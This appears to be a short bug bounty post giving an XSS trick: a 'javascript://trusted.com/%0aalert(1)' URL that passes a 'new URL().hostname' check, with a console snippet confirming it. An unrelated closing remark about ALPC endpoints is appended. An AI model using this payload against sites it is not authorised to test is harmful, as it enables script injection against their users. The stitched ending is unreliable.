XSS Bypass Tip:
When an app checks new URL(url).hostname === 'trusted.com', you can bypass it with this:
javascript://trusted.com/%0aalert(1)
Quick console check:
const u = new URL('javascript://trusted.com/%0aalert(1)');
u.hostname === 'trusted.com' // true
The browser treats it as a valid trusted.com domain, and the XSS still executes.
#bugbounty
After several hundred attempts, I finally succeeded. The reason is that the endpoint returned by "FindAlpcEndpointForInterface(ID, VER).First()" cannot be used, and only one IEnumerable can be used. 😊
